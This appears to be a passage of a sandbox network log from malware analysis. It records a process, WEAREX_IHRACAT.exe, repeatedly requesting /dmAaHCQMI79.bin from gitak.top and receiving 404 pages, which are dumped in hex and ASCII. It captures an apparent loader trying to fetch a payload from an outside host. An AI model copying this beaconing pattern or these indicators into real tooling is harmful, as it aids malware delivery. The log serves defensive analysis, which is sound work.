2024-08-29 10:41:10 UTC	696	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:41:10 UTC	1369	IN	Data Raw: 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d 0a 0a Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}
2024-08-29 10:41:10 UTC	908	IN	Data Raw: 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 Data Ascii: 415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0
2024-08-29 10:41:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49782	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:41:21 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:41:21 UTC	685	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:41:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 63 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F5b2RW%2Fj%2BT4RrEZWx4D%2FnyakwG90IGNXz%2Fl%2Fy9eJcEXVaz99bZLUGlNYOClAFPHSWDkTInHh3OqeupG1uIY%2FCy1DDISV8N41MvZpYqErhYiSpEZDk9JPknQQYf8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babed9c1cd9c584-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:41:21 UTC	684	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:41:21 UTC	1369	IN	Data Raw: 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 Data Ascii: : 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fa
2024-08-29 10:41:21 UTC	920	IN	Data Raw: 38 36 2d 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 Data Ascii: 86-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 1
2024-08-29 10:41:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49783	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:41:31 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:41:31 UTC	691	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:41:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 73 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3xhKipF4ZA8%2Bkvdd%2BU1F%2BrBg4eynZTN%2BjBDWj9bgfGgH%2BilT3MDXaYBqPidLk%2BHIjGpOJ1KV5XU%2BxKhXjAr%2FlM%2FPDMyPa%2BmW65B7puXv5TX78IU5IOvcZbn8wsk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babedddcc3059df-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:41:31 UTC	678	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:41:31 UTC	1369	IN	Data Raw: 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 Data Ascii: bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-na
2024-08-29 10:41:31 UTC	926	IN	Data Raw: 33 36 20 35 2e 32 38 36 2d 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 Data Ascii: 36 5.286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 1
2024-08-29 10:41:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49784	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:41:42 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:41:42 UTC	677	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:41:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 84 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EoNQvU%2F68bPKsSQUFFONu8irGKTbWrh9ZiAyCeTfaGqzkT7pMFpOm5qS5cv%2BpGcO9DD5iqwclNCCrU5vtum1PhltMVpXIYst3f8%2BQdM1rJzMTQXGTSBbOxZT56Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babee1f886782ec-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:41:42 UTC	692	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:41:42 UTC	1369	IN	Data Raw: 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:41:42 UTC	912	IN	Data Raw: 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 Data Ascii: 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.6
2024-08-29 10:41:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49785	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:41:52 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:41:52 UTC	677	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:41:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 94 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hwkKcTa3VXkc7R9rQYkkb4eqPmY8q4UzebAK8gzZsZ4XJBRVEUF19Zbfu0H4L7Gp15nI4QJZ7M5%2F%2Fm8bIekDe9NEAW9JWIima4oQgcnbn1Gr3bjWeb6%2F2hGaJTo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babee614a62c968-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:41:52 UTC	692	IN	Data Raw: 62 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b95<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:41:52 UTC	1369	IN	Data Raw: 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:41:52 UTC	911	IN	Data Raw: 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 Data Ascii: 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.6
2024-08-29 10:41:52 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-29 10:41:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49786	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:42:03 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:42:03 UTC	680	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:42:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 105 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=13eTPd51Zx4b9EW4xNYd4Zei8NPIGF4uqYtQUC%2BvF7tiLZ45S6fm%2B4M7DPeBk7meYNsqfYwxRKlb%2BQqUwjx4TJBXNlEP7Z%2FylcPwqo20X09H0aQMyGuOzkdWb64%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babeea32f3d061c-IAD alt-svc: h3=":443"; ma=86400
